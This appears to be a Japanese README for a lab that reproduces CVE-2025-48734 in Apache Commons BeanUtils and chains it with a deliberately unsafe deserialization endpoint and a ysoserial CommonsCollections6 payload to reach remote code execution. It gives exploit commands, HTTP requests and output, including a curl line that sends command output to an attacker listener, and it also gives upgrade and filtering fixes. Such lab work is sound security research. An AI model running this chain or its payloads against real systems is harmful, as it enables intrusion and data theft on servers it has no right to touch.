
CVE-2025-48734 - Apache Commons BeanUtils の 1.11.0 より前のバージョン(および 2.0.0-M2 より前の 2.x ブランチ)に影響します。
教育目的および許可されたセキュリティ研究目的のみに使用してください。
このリポジトリは、Apache Commons BeanUtils の CVE-2025-48734 脆弱性を再現し、攻撃者が特定の条件下でリモートコード実行 (RCE) にエスカレーションする方法を調査するための、制御されたラボ環境を提供します。
CVE-2025-48734 は、Apache Commons BeanUtils の 1.11.0 より前のバージョン(および 2.0.0-M2 より前の 2.x ブランチ)に影響します。問題は、PropertyUtilsBean がネストされたパス(例: enum.declaringClass)を通じて Java 列挙型の declaringClass プロパティへのアクセスを許可していることにあります。すべての列挙型は java.lang.Enum から getDeclaringClass() メソッドを継承しており、BeanUtils はこれをナビゲーション可能なプロパティとして公開します。
getProperty() または getNestedProperty() の呼び出しでプロパティパスを制御できる攻撃者は、以下を行うことができます:
ClassLoader への参照を取得する(enum.declaringClass.classLoader 経由)。classLoader.URLs[n] を反復処理して、実行時にロードされたすべての JAR を列挙する。⚠️ 重要: この脆弱性単独では 直接 RCE を引き起こしません。
ClassLoaderへのアクセスを提供し、クラスパス列挙を可能にしますが、コード実行を達成するには、安全でない逆シリアライズエンドポイントと脆弱なガジェットライブラリとチェーンする必要があります。詳細なエクスプロイト分析 セクションを参照してください。
CVSS スコア: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ラボは以下の 2 つのコンポーネントで構成されています:
以下のエンドポイントを公開する Spring Boot サービス:
GET /api/property?path=<property-path> — サニタイズなしで PropertyUtilsBean.getNestedProperty() を使用してネストされたプロパティを読み取ります。これが CVE のエントリポイントです。GET /api/nested-set?path=<path>&value=<value> — ネストされたプロパティを書き込みます(これも脆弱です)。POST /api/data/import — 生の Java シリアライズオブジェクト(application/octet-stream)を受け入れ、検証なしで逆シリアライズします。これは RCE の配信経路です。ターゲットの Bean は、Status 列挙型を含む Order オブジェクトです。これにより、status.declaringClass.classLoader というチェーンを構築できます。
注記:
/api/data/importエンドポイントは CVE-2025-48734 の一部ではありません。これは、脆弱な逆シリアライズエンドポイントが CVE と共存する現実的なシナリオをシミュレートするために含まれています。実際のアプリケーションでは、この種のエンドポイントはレガシー統合、内部 API、または設定ミスのあるミドルウェアに存在します。
| ライブラリ | バージョン | チェーンにおける役割 |
|---|---|---|
commons-beanutils | 1.9.4 | CVE-2025-48734 エントリポイント |
commons-collections | 3.2.2 | 逆シリアライズガジェットチェーン |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
このスクリプトは依存関係のインストール、プロジェクトのコンパイル、systemd サービスとしての登録を行い、自動的に起動します。アプリケーションは 0.0.0.0:8080 で待ち受けます。
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
このスクリプトは依存関係をインストールし、ysoserial をダウンロードします。
このエクスプロイトは、正しいフェーズ順序を強制する単一のスクリプトで完全に自動化されています。各フェーズは次のフェーズの前提条件です。
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
スクリプトは status.declaringClass と status.declaringClass.classLoader を調査します。いずれかがブロックされた場合、スクリプトは中止します — アプリケーションはパッチ適用済みであり、チェーンを続行できません。
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
フェーズ 1 で取得した ClassLoader 参照を使用して、スクリプトは classLoader.URLs[n] を反復処理し、ロードされたすべての JAR を一覧表示して、Commons Collections 3.x を探します。見つからない場合、スクリプトは中止します — 利用可能なガジェットチェーンがありません。
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
ガジェットチェーンが確認できたら、スクリプトは Java シリアライズのマジックバイト(0xACED0005)を送信して一般的な import/sync エンドポイントをファジングし、応答パターンから ObjectInputStream.readObject() を試行するエンドポイントを特定します。エンドポイントが見つからない場合、スクリプトは中止します。
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial は CommonsCollections6 ペイロード(Java 11+ で最も移植性が高い)を生成し、発見されたエンドポイントに送信します。
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
コマンドは、応答が返される前に、逆シリアライズ中にサーバー上で実行されます。出力は、ファイルへのリダイレクトまたは HTTP コールバックによって外部に持ち出すことができます:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
この CVE は直接の RCE ベクターではありません — 残りのチェーンを可能にする 偵察のピボット です:
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
完全な RCE のために揃う必要がある 3 つの条件:
| 条件 | このラボ | 実世界 |
|---|---|---|
| フィルタリングされていないパス入力を持つ BeanUtils < 1.11.0 | ✅ | レガシーアプリで一般的 |
| クラスパス内のガジェットライブラリ (CC 3.x) | ✅ | エンタープライズ Java で頻繁に見られる |
| 安全でない逆シリアライズエンドポイント | ✅ | あまり一般的ではないが、レガシー/ミドルウェア統合に存在する |
Commons BeanUtils をアップグレードします:
| アーティファクト | 脆弱なバージョン | 安全なバージョン |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
pom.xml 内:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
2 つの相補的な緩和策:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
BeanUtils を 1.11.0 にアップグレードした後、再コンパイルしてサービスを再起動します。エクスプロイトスクリプトを実行すると、フェーズ 1 で中止されるはずです:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
このツールは 教育目的および許可されたセキュリティテストのみ のために提供されています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対する不正使用は違法です。作者はいかなる誤用についても責任を負いません。